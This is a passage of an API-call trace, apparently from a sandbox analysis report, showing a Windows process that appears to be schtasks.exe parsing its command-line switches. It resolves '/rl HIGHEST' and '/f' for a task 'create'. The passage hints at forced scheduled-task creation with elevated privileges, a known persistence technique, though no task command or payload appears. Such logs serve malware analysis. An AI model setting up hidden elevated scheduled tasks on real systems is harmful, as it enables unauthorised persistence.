_Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|rl|") returned 4 [0079.546] lstrlenW (lpString="|d|") returned 3 [0079.546] lstrlenW (lpString="|rl|") returned 4 [0079.546] SetLastError (dwErrCode=0x490) [0079.546] lstrlenW (lpString="m") returned 1 [0079.546] lstrlenW (lpString="m") returned 1 [0079.546] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.547] lstrlenW (lpString="rl") returned 2 [0079.547] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.547] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|m|") returned 3 [0079.547] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|rl|") returned 4 [0079.547] lstrlenW (lpString="|m|") returned 3 [0079.547] lstrlenW (lpString="|rl|") returned 4 [0079.547] SetLastError (dwErrCode=0x490) [0079.547] lstrlenW (lpString="i") returned 1 [0079.547] lstrlenW (lpString="i") returned 1 [0079.547] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.547] lstrlenW (lpString="rl") returned 2 [0079.547] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.547] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|i|") returned 3 [0079.547] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|rl|") returned 4 [0079.547] lstrlenW (lpString="|i|") returned 3 [0079.547] lstrlenW (lpString="|rl|") returned 4 [0079.547] SetLastError (dwErrCode=0x490) [0079.547] lstrlenW (lpString="tn") returned 2 [0079.547] lstrlenW (lpString="tn") returned 2 [0079.547] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.547] lstrlenW (lpString="rl") returned 2 [0079.547] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.547] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|tn|") returned 4 [0079.547] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|rl|") returned 4 [0079.547] lstrlenW (lpString="|tn|") returned 4 [0079.547] lstrlenW (lpString="|rl|") returned 4 [0079.547] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0079.547] SetLastError (dwErrCode=0x490) [0079.547] lstrlenW (lpString="tr") returned 2 [0079.547] lstrlenW (lpString="tr") returned 2 [0079.548] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.548] lstrlenW (lpString="rl") returned 2 [0079.548] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.548] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|tr|") returned 4 [0079.548] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|rl|") returned 4 [0079.548] lstrlenW (lpString="|tr|") returned 4 [0079.548] lstrlenW (lpString="|rl|") returned 4 [0079.548] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0079.548] SetLastError (dwErrCode=0x490) [0079.548] lstrlenW (lpString="st") returned 2 [0079.548] lstrlenW (lpString="st") returned 2 [0079.548] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.548] lstrlenW (lpString="rl") returned 2 [0079.548] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.548] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|st|") returned 4 [0079.548] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|rl|") returned 4 [0079.548] lstrlenW (lpString="|st|") returned 4 [0079.548] lstrlenW (lpString="|rl|") returned 4 [0079.548] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0079.548] SetLastError (dwErrCode=0x490) [0079.548] lstrlenW (lpString="sd") returned 2 [0079.548] lstrlenW (lpString="sd") returned 2 [0079.548] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.548] lstrlenW (lpString="rl") returned 2 [0079.548] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.548] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|sd|") returned 4 [0079.548] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|rl|") returned 4 [0079.548] lstrlenW (lpString="|sd|") returned 4 [0079.548] lstrlenW (lpString="|rl|") returned 4 [0079.549] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0079.549] SetLastError (dwErrCode=0x490) [0079.549] lstrlenW (lpString="ed") returned 2 [0079.549] lstrlenW (lpString="ed") returned 2 [0079.549] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.549] lstrlenW (lpString="rl") returned 2 [0079.549] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.549] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|ed|") returned 4 [0079.549] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|rl|") returned 4 [0079.549] lstrlenW (lpString="|ed|") returned 4 [0079.549] lstrlenW (lpString="|rl|") returned 4 [0079.549] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0079.549] SetLastError (dwErrCode=0x490) [0079.549] lstrlenW (lpString="it") returned 2 [0079.549] lstrlenW (lpString="it") returned 2 [0079.549] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.549] lstrlenW (lpString="rl") returned 2 [0079.549] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.549] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|it|") returned 4 [0079.549] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|rl|") returned 4 [0079.549] lstrlenW (lpString="|it|") returned 4 [0079.549] lstrlenW (lpString="|rl|") returned 4 [0079.549] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0079.549] SetLastError (dwErrCode=0x490) [0079.549] lstrlenW (lpString="et") returned 2 [0079.549] lstrlenW (lpString="et") returned 2 [0079.549] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.549] lstrlenW (lpString="rl") returned 2 [0079.549] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.549] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|et|") returned 4 [0079.550] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|rl|") returned 4 [0079.550] lstrlenW (lpString="|et|") returned 4 [0079.550] lstrlenW (lpString="|rl|") returned 4 [0079.550] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0079.550] SetLastError (dwErrCode=0x490) [0079.550] lstrlenW (lpString="k") returned 1 [0079.550] lstrlenW (lpString="k") returned 1 [0079.550] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.550] lstrlenW (lpString="rl") returned 2 [0079.550] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.550] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|k|") returned 3 [0079.550] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|rl|") returned 4 [0079.550] lstrlenW (lpString="|k|") returned 3 [0079.550] lstrlenW (lpString="|rl|") returned 4 [0079.550] SetLastError (dwErrCode=0x490) [0079.550] lstrlenW (lpString="du") returned 2 [0079.550] lstrlenW (lpString="du") returned 2 [0079.550] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.550] lstrlenW (lpString="rl") returned 2 [0079.550] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.550] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|du|") returned 4 [0079.550] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|rl|") returned 4 [0079.550] lstrlenW (lpString="|du|") returned 4 [0079.550] lstrlenW (lpString="|rl|") returned 4 [0079.550] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0079.550] SetLastError (dwErrCode=0x490) [0079.550] lstrlenW (lpString="ri") returned 2 [0079.550] lstrlenW (lpString="ri") returned 2 [0079.550] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.550] lstrlenW (lpString="rl") returned 2 [0079.551] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.551] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|ri|") returned 4 [0079.551] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|rl|") returned 4 [0079.551] lstrlenW (lpString="|ri|") returned 4 [0079.551] lstrlenW (lpString="|rl|") returned 4 [0079.551] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0079.551] SetLastError (dwErrCode=0x490) [0079.551] lstrlenW (lpString="z") returned 1 [0079.551] lstrlenW (lpString="z") returned 1 [0079.551] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.551] lstrlenW (lpString="rl") returned 2 [0079.551] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.551] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|z|") returned 3 [0079.551] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|rl|") returned 4 [0079.551] lstrlenW (lpString="|z|") returned 3 [0079.551] lstrlenW (lpString="|rl|") returned 4 [0079.551] SetLastError (dwErrCode=0x490) [0079.551] lstrlenW (lpString="f") returned 1 [0079.551] lstrlenW (lpString="f") returned 1 [0079.551] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.551] lstrlenW (lpString="rl") returned 2 [0079.551] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.551] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|f|") returned 3 [0079.551] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|rl|") returned 4 [0079.551] lstrlenW (lpString="|f|") returned 3 [0079.551] lstrlenW (lpString="|rl|") returned 4 [0079.551] SetLastError (dwErrCode=0x490) [0079.551] lstrlenW (lpString="v1") returned 2 [0079.551] lstrlenW (lpString="v1") returned 2 [0079.551] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.552] lstrlenW (lpString="rl") returned 2 [0079.552] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.552] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|v1|") returned 4 [0079.552] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|rl|") returned 4 [0079.552] lstrlenW (lpString="|v1|") returned 4 [0079.552] lstrlenW (lpString="|rl|") returned 4 [0079.552] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0079.552] SetLastError (dwErrCode=0x490) [0079.552] lstrlenW (lpString="xml") returned 3 [0079.552] lstrlenW (lpString="xml") returned 3 [0079.552] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.552] lstrlenW (lpString="rl") returned 2 [0079.552] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.552] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|xml|") returned 5 [0079.552] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|rl|") returned 4 [0079.552] lstrlenW (lpString="|xml|") returned 5 [0079.552] lstrlenW (lpString="|rl|") returned 4 [0079.552] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0079.552] SetLastError (dwErrCode=0x490) [0079.552] lstrlenW (lpString="ec") returned 2 [0079.552] lstrlenW (lpString="ec") returned 2 [0079.552] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.552] lstrlenW (lpString="rl") returned 2 [0079.552] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.552] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|ec|") returned 4 [0079.552] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|rl|") returned 4 [0079.552] lstrlenW (lpString="|ec|") returned 4 [0079.552] lstrlenW (lpString="|rl|") returned 4 [0079.553] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0079.553] SetLastError (dwErrCode=0x490) [0079.553] lstrlenW (lpString="rl") returned 2 [0079.553] lstrlenW (lpString="rl") returned 2 [0079.553] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.553] lstrlenW (lpString="rl") returned 2 [0079.553] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.553] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|rl|") returned 4 [0079.553] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|rl|") returned 4 [0079.553] lstrlenW (lpString="|rl|") returned 4 [0079.553] lstrlenW (lpString="|rl|") returned 4 [0079.553] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0079.553] SetLastError (dwErrCode=0x0) [0079.553] SetLastError (dwErrCode=0x0) [0079.553] lstrlenW (lpString="HIGHEST") returned 7 [0079.553] lstrlenW (lpString="-/") returned 2 [0079.553] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0079.553] SetLastError (dwErrCode=0x490) [0079.553] SetLastError (dwErrCode=0x490) [0079.553] SetLastError (dwErrCode=0x0) [0079.553] lstrlenW (lpString="HIGHEST") returned 7 [0079.553] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0079.553] SetLastError (dwErrCode=0x490) [0079.553] SetLastError (dwErrCode=0x0) [0079.553] _memicmp (_Buf1=0x2cd6a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.553] lstrlenW (lpString="HIGHEST") returned 7 [0079.553] lstrlenW (lpString="HIGHEST") returned 7 [0079.553] lstrlenW (lpString=" \x09") returned 2 [0079.553] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0079.553] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0079.553] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0079.554] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0079.554] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0079.554] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0079.554] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0079.554] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0079.554] GetLastError () returned 0x0 [0079.554] lstrlenW (lpString="HIGHEST") returned 7 [0079.554] lstrlenW (lpString="HIGHEST") returned 7 [0079.554] SetLastError (dwErrCode=0x0) [0079.554] SetLastError (dwErrCode=0x0) [0079.554] lstrlenW (lpString="/f") returned 2 [0079.554] lstrlenW (lpString="-/") returned 2 [0079.554] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0079.554] lstrlenW (lpString="create") returned 6 [0079.554] lstrlenW (lpString="create") returned 6 [0079.554] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.554] lstrlenW (lpString="f") returned 1 [0079.554] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.554] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|create|") returned 8 [0079.554] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|f|") returned 3 [0079.554] lstrlenW (lpString="|create|") returned 8 [0079.554] lstrlenW (lpString="|f|") returned 3 [0079.554] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0079.554] SetLastError (dwErrCode=0x490) [0079.554] lstrlenW (lpString="?") returned 1 [0079.554] lstrlenW (lpString="?") returned 1 [0079.554] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.554] lstrlenW (lpString="f") returned 1 [0079.554] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.554] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|?|") returned 3 [0079.555] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|f|") returned 3 [0079.555] lstrlenW (lpString="|?|") returned 3 [0079.555] lstrlenW (lpString="|f|") returned 3 [0079.555] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0079.555] SetLastError (dwErrCode=0x490) [0079.555] lstrlenW (lpString="s") returned 1 [0079.555] lstrlenW (lpString="s") returned 1 [0079.555] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.555] lstrlenW (lpString="f") returned 1 [0079.555] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.555] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|s|") returned 3 [0079.555] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|f|") returned 3 [0079.555] lstrlenW (lpString="|s|") returned 3 [0079.555] lstrlenW (lpString="|f|") returned 3 [0079.555] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0079.555] SetLastError (dwErrCode=0x490) [0079.555] lstrlenW (lpString="u") returned 1 [0079.555] lstrlenW (lpString="u") returned 1 [0079.555] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.555] lstrlenW (lpString="f") returned 1 [0079.555] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.555] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|u|") returned 3 [0079.555] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|f|") returned 3 [0079.555] lstrlenW (lpString="|u|") returned 3 [0079.555] lstrlenW (lpString="|f|") returned 3 [0079.555] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0079.555] SetLastError (dwErrCode=0x490) [0079.555] lstrlenW (lpString="p") returned 1 [0079.555] lstrlenW (lpString="p") returned 1 [0079.555] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.555] lstrlenW (lpString="f") returned 1 [0079.556] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.556] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|p|") returned 3 [0079.556] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|f|") returned 3 [0079.556] lstrlenW (lpString="|p|") returned 3 [0079.556] lstrlenW (lpString="|f|") returned 3 [0079.556] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0079.556] SetLastError (dwErrCode=0x490) [0079.556] lstrlenW (lpString="ru") returned 2 [0079.556] lstrlenW (lpString="ru") returned 2 [0079.556] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.556] lstrlenW (lpString="f") returned 1 [0079.556] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.556] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|ru|") returned 4 [0079.556] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|f|") returned 3 [0079.556] lstrlenW (lpString="|ru|") returned 4 [0079.556] lstrlenW (lpString="|f|") returned 3 [0079.556] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0079.556] SetLastError (dwErrCode=0x490) [0079.556] lstrlenW (lpString="rp") returned 2 [0079.556] lstrlenW (lpString="rp") returned 2 [0079.556] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.556] lstrlenW (lpString="f") returned 1 [0079.556] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.556] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|rp|") returned 4 [0079.556] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|f|") returned 3 [0079.556] lstrlenW (lpString="|rp|") returned 4 [0079.556] lstrlenW (lpString="|f|") returned 3 [0079.556] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0079.556] SetLastError (dwErrCode=0x490) [0079.556] lstrlenW (lpString="sc") returned 2 [0079.556] lstrlenW (lpString="sc") returned 2 [0079.556] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.557] lstrlenW (lpString="f") returned 1 [0079.557] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.557] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|sc|") returned 4 [0079.557] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|f|") returned 3 [0079.557] lstrlenW (lpString="|sc|") returned 4 [0079.557] lstrlenW (lpString="|f|") returned 3 [0079.557] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0079.557] SetLastError (dwErrCode=0x490) [0079.557] lstrlenW (lpString="mo") returned 2 [0079.557] lstrlenW (lpString="mo") returned 2 [0079.557] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.557] lstrlenW (lpString="f") returned 1 [0079.557] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.557] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|mo|") returned 4 [0079.557] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|f|") returned 3 [0079.557] lstrlenW (lpString="|mo|") returned 4 [0079.557] lstrlenW (lpString="|f|") returned 3 [0079.557] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0079.557] SetLastError (dwErrCode=0x490) [0079.557] lstrlenW (lpString="d") returned 1 [0079.557] lstrlenW (lpString="d") returned 1 [0079.557] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.557] lstrlenW (lpString="f") returned 1 [0079.557] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.557] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|d|") returned 3 [0079.557] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|f|") returned 3 [0079.557] lstrlenW (lpString="|d|") returned 3 [0079.557] lstrlenW (lpString="|f|") returned 3 [0079.557] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0079.557] SetLastError (dwErrCode=0x490) [0079.558] lstrlenW (lpString="m") returned 1 [0079.558] lstrlenW (lpString="m") returned 1 [0079.558] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.558] lstrlenW (lpString="f") returned 1 [0079.558] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.558] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|m|") returned 3 [0079.558] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|f|") returned 3 [0079.558] lstrlenW (lpString="|m|") returned 3 [0079.558] lstrlenW (lpString="|f|") returned 3 [0079.558] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0079.558] SetLastError (dwErrCode=0x490) [0079.558] lstrlenW (lpString="i") returned 1 [0079.558] lstrlenW (lpString="i") returned 1 [0079.558] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.558] lstrlenW (lpString="f") returned 1 [0079.558] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.558] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|i|") returned 3 [0079.558] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|f|") returned 3 [0079.558] lstrlenW (lpString="|i|") returned 3 [0079.558] lstrlenW (lpString="|f|") returned 3 [0079.558] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0079.558] SetLastError (dwErrCode=0x490) [0079.558] lstrlenW (lpString="tn") returned 2 [0079.558] lstrlenW (lpString="tn") returned 2 [0079.558] _memicmp (_Buf1=0x2cc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.558] lstrlenW (lpString="f") returned 1 [0079.558] _memicmp (_Buf1=0x2cc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.558] _vsnwprintf (in: _Buffer=0x2cc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|tn|") returned 4 [0079.558] _vsnwprintf (in: _Buffer=0x2cc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc5a8 | out: _Buffer="|f|") returned 3 